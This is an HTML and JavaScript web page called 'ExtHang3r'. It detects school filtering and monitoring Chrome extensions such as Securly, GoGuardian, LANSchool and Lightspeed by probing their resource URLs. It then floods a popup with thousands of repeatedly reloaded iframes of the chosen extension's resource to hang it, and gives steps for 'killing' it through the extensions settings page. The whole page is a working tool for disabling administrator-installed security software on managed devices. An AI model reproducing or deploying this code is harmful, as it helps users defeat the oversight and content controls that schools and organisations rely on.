You need one of the Extentions, and Fullscreen follow the instructions and have fun :3
xxxxxxxxxx
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ExtHang3r</title>
<link rel="shortcut icon" type="image/png" href="https://raw.githubusercontent.com/Blobby-Boi/ExtHang3r/refs/heads/main/favicon.png">
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Varela+Round&display=swap">
<style>
body {
font-family: 'Varela Round', sans-serif;
margin: 0;
padding: 0;
background-color: #121212;
color: #ffffff;
}
header {
background-color: #1f1f1f;
color: #ffffff;
padding: 10px 20px;
text-align: center;
display: flex;
align-items: center;
justify-content: center;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
}
.logo {
width: 50px;
height: 50px;
margin-right: 10px;
}
.container {
max-width: 800px;
margin: 100px auto 0 auto;
padding: 20px;
text-align: center;
background: #1f1f1f;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
border-radius: 8px;
}
select {
font-family: 'Varela Round', sans-serif;
margin-bottom: 10px;
padding: 10px;
font-size: 16px;
border: 1px solid #333;
border-radius: 4px;
width: 100%;
background-color: #2c2c2c;
color: #ffffff;
}
button {
font-family: 'Varela Round', sans-serif;
background-color: #ffffff;
color: #000000;
border: none;
padding: 10px 20px;
font-size: 16px;
cursor: pointer;
border-radius: 5px;
margin-top: 10px;
transition: background-color 0.3s ease;
}
button:hover {
background-color: #e0e0e0;
}
input[type="range"] {
appearance: none;
appearance: none;
width: 100%;
height: 8px;
background: #ffffff;
outline: none;
opacity: 0.7;
transition: opacity 0.2s;
border-radius: 5px;
}
input[type="range"]::slider-thumb {
appearance: none;
appearance: none;
width: 20px;
height: 20px;
background: #000000;
cursor: pointer;
border-radius: 50%;
}
input[type="range"]::range-thumb {
width: 20px;
height: 20px;
background: #000000;
cursor: pointer;
border-radius: 50%;
}
.overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.7);
display: none;
justify-content: center;
align-items: center;
z-index: 9999;
color: #ffffff;
font-size: 24px;
user-select: none;
flex-direction: column;
}
.spinner {
border: 6px solid rgba(255, 255, 255, 0.3);
border-top: 6px solid #ffffff;
border-radius: 50%;
width: 40px;
height: 40px;
animation: spin 1s linear infinite;
margin-bottom: 20px;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
#killExtensionText {
display: none;
margin-top: 20px;
color: #ffffff;
font-size: 18px;
text-align: center;
background: #2c2c2c;
padding: 20px;
border-radius: 8px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
#killButton {
display: none;
background-color: #ffffff;
color: #000000;
border: none;
padding: 10px 20px;
font-size: 16px;
cursor: pointer;
border-radius: 5px;
transition: background-color 0.3s ease;
}
#killButton:hover {
background-color: #e0e0e0;
}
footer {
background-color: #1f1f1f;
color: #ffffff;
text-align: center;
padding: 10px;
position: fixed;
bottom: 0;
width: 100%;
}
footer a {
color: #007bff;
text-decoration: none;
}
footer a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<header>
<img src="https://raw.githubusercontent.com/Blobby-Boi/ExtHang3r/refs/heads/main/favicon.png" alt="Logo" class="logo">
<h1>ExtHang3r</h1>
</header>
<div class="container">
<p>This was designed By PulsarPulse - Made by Blobby-Boi <br>First find your extention and click the button bellow the selection (follow later instructions) and don't click out or your computer might be frozen or even crash!</br></p>
<label for="iframeSelect" id="labelForIframeSelect">Choose Your Extention:</label>
<select id="iframeSelect"></select>
<label for="iframeCountSlider" id="labelForIframeSlider" style="margin-top: 20px;">Select the amount of iframes you want, depending on how much time you want to unblock your extention </label>
<div style="display: flex; align-items: center; gap: 10px; margin: 10px 0;">
<input type="range" id="iframeCountSlider" min="100" max="15000" value="2000" step="100" style="flex-grow: 1;">
<span id="iframeCountValue">3000</span>
</div>
<button onclick="warning();" id="hangButton">Hang Extention</button>
<button id="killButton" onclick="openExtensionPopup();">Kill it.</button>
</div>
<div class="overlay" id="overlay">
<div class="spinner"></div> Iykyk :3... (Just wait 1-5 mins... Updates...)
</div>
<div id="killExtensionText"></div>
<footer>
<p> Made By : <a href="https://openprocessing.org/user/506191?view=sketches">PulsarPulse ;)</a> </p>
</footer>
<script>
document.addEventListener("DOMContentLoaded", function() {
const slider = document.getElementById("iframeCountSlider");
const sliderValueDisplay = document.getElementById("iframeCountValue");
const deviceMemory = navigator.deviceMemory || 4; // It will be set to 8gb if you're in the data url, since navigator isnt supported.
const defaultIframeCount = Math.round(deviceMemory * 6000); // This changes the default value of the iframe slider based on how much memory your computer has
const maxIframeCount = Math.round(deviceMemory * 100000);
slider.value = defaultIframeCount;
slider.max = maxIframeCount;
sliderValueDisplay.textContent = defaultIframeCount;
slider.addEventListener("input", function() {
sliderValueDisplay.textContent = this.value;
});
});
document.getElementById("iframeCountSlider").addEventListener("input", function() {
const iframeCountValue = document.getElementById("iframeCountValue");
iframeCountValue.textContent = this.value;
});
async function checkExtensionURL(url) {
try {
const response = await fetch(url);
if (response.ok) {
return true;
} else {
return false;
}
} catch (error) {
return false;
}
}
async function populateSelectOptions() {
const selectElement = document.getElementById("iframeSelect");
const extensions = {
"Securly (3rd ID)": "chrome-extension://ckecmkbnoanpgplccmnoikfmpcdladkc/fonts/Metropolis.css",
"Securly (2nd ID)": "chrome-extension://joflmkccibkooplaeoinecjbmdebglab/fonts/Metropolis.css",
"Securly (1st ID)": "chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css",
"GoGuardian": "chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/youtube_injection.js",
"LANSchool": "chrome-extension://baleiojnjpgeojohhhfbichcodgljmnj/blocked.html",
"Linewize": "chrome-extension://ddfbkhpmcdbciejenfcolaaiebnjcbfc/background/assets/pages/default-blocked.html",
"Blocksi": "chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html",
"FortiGuard": "chrome-extension://igbgpehnbmhgdgjbhkkpedommgmfbeao/youtube_injection.js",
"Cisco Umbrella": "chrome-extension://jcdhmojfecjfmbdpchihbeilohgnbdci/blocked.html",
"ContentKeeper": "chrome-extension://jdogphakondfdmcanpapfahkdomaicfa/img/ckauth19x.png",
"CK-Authenticator G3": "chrome-extension://odoanpnonilogofggaohhkdkdgbhdljp/img/ckauth19x.png",
"Securly Classroom (2nd ID)": "chrome-extension://hkobaiihndnbfhbkmjjfbdimfbdcppdh/notfound.html",
"Securly Classroom (1st ID)": "chrome-extension://jfbecfmiegcjddenjhlbhlikcbfmnafd/notfound.html",
"Hapara (2nd ID)": "chrome-extension://kbohafcopfpigkjdimdcdgenlhkmhbnc/blocked.html",
"Hapara (1st ID)": "chrome-extension://aceopacgaepdcelohobicpffbbejnfac/blocked.html",
"iboss": "chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html",
"Lightspeed Digital Insight Agent": "chrome-extension://njdniclgegijdcdliklgieicanpmcngj/js/wasm_exec.js",
"Lightspeed Filter Agent": "chrome-extension://adkcpkpghahmbopkjchobieckeoaoeem/icon-128.png",
"Lightspeed Classroom": "chrome-extension://kkbmdgjggcdajckdlbngdjonpchpaiea/assets/icon-classroom-128.png",
"InterCLASS Filtering Service": "chrome-extension://jbddgjglgkkneonnineaohdhabjbgopi/pages/message-page.html",
"InterSafe GatewayConnection Agent": "chrome-extension://ecjoghccnjlodjlmkgmnbnkdcbnjgden/resources/options.js",
"LoiLo Web Filters": "chrome-extension://pabjlbjcgldndnpjnokjakbdofjgnfia/image/allow_icon/shield_green_128x128.png",
"Gopher Buddy": "chrome-extension://cgbbbjmgdpnifijconhamggjehlamcif/images/gopher-buddy_128x128_color.png",
"LanSchool Web Helper": "chrome-extension://honjcnefekfnompampcpmcdadibmjhlk/blocked.html",
"IMTLazarus": "chrome-extension://cgigopjakkeclhggchgnhmpmhghcbnaf/models/model.json",
"Impero Backdrop": "chrome-extension://jjpmjccpemllnmgiaojaocgnakpmfgjg/licenses.html",
"Mobile Guardian": "chrome-extension://fgmafhdohjkdhfaacgbgclmfgkgokgmb/block.html",
"NetSupport School Student": "chrome-extension://gcjpefhffmcgplgklffgbebganmhffje/_locales/lt/messages.json",
"classroom.cloud Student": "chrome-extension://mpkdoimpgkhjcicmhmlmgboelebflpla/_locales/lt/messages.json",
"Lockdown Browser": "chrome-extension://fogjeanjfbiombghnmkmmophfeccjdki/manifest.json",
"Linewize Filter": "chrome-extension://ifinpabiejbjobcphhaomiifjibpkjlf/background/assets/pages/default-blocked.html",
"Borderless Classroom Student": "chrome-extension://kdpgkligilplaanoablcpjahjjeghcl/pages/blockPage.html",
"LockDown Browser AP Classroom Edition": "chrome-extension://djpknfecbncogekjnjppojlaipeobkmo/assets/images/icon_128.png",
"Lugus School": "chrome-extension://eoobggamkobbcpiojefejfglbfcacgca/assets/images/icon_128.png"
};
let hasSupportedExtensions = false;
for (const [name, url] of Object.entries(extensions)) {
if (await checkExtensionURL(url)) {
const option = document.createElement("option");
option.value = url;
option.textContent = name;
selectElement.appendChild(option);
hasSupportedExtensions = true;
}
}
}
populateSelectOptions();
function replaceIframes(container, iframeSrc, iframeCount) {
for (let i = 0; i < iframeCount; i++) {
const iframe = document.createElement('iframe');
iframe.src = iframeSrc;
iframe.style.width = '100%';
iframe.style.height = '100px';
container.appendChild(iframe);
}
setTimeout(function() {
while (container.firstChild) {
container.removeChild(container.firstChild);
}
replaceIframes(container, iframeSrc, iframeCount);
}, 5);
}
function warning() {
const overlay = document.getElementById("overlay");
overlay.style.display = "flex";
const iframeSelect = document.getElementById("iframeSelect");
const selectedOption = iframeSelect.options[iframeSelect.selectedIndex].text;
const selectedSrc = iframeSelect.value;
const iframeCount = parseInt(document.getElementById("iframeCountSlider").value, 10);
const popup = window.open("", "PopupWindow", "width=100,height=100");
const popupDocument = popup.document;
const popupBody = popupDocument.body;
const iframeContainer = popupDocument.createElement('div');
iframeContainer.id = 'iframeContainer';
popupBody.appendChild(iframeContainer);
replaceIframes(iframeContainer, selectedSrc, iframeCount);
setTimeout(function() {
popup.close();
const killExtensionText = document.getElementById("killExtensionText");
killExtensionText.innerHTML = "Now that the extension <strong> " + selectedOption + " </strong> has been hanged, press the button above.";
setTimeout(function() {
overlay.style.display = "none";
killExtensionText.style.display = "block";
document.getElementById("killButton").style.display = "inline-block";
document.getElementById("hangButton").style.display = "none";
document.getElementById("iframeSelect").style.display = "none";
try {
document.getElementById("labelForIframeSelect").style.display = "none";
} catch (err) {}
document.getElementById("iframeCountSlider").style.display = "none";
document.getElementById("iframeCountValue").style.display = "none";
try {
document.getElementById("labelForIframeSlider").style.display = "none";
} catch (err) {}
document.getElementById("killButton").setAttribute("data-url", selectedSrc);
}, 10000);
}, 5000);
}
function openExtensionPopup() {
const selectedSrc = document.getElementById("killButton").getAttribute("data-url");
const extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 2, selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2));
const killExtensionText = document.getElementById("killExtensionText");
document.getElementById("killButton").style.display = "none";
killExtensionText.innerHTML = "Make sure to keep this tab open. Then open <strong> chrome: //extensions/?id=" + extensionId + "</strong> and flip the switch called \"Allow access to file URLs\" twice. The extension was successfully killed! Now you can close that tab as well as this one. If you want to restore the extension, flip the allow access to file URLs switch again.";
window.location.href = selectedSrc;
}
</script>
</body>
</html>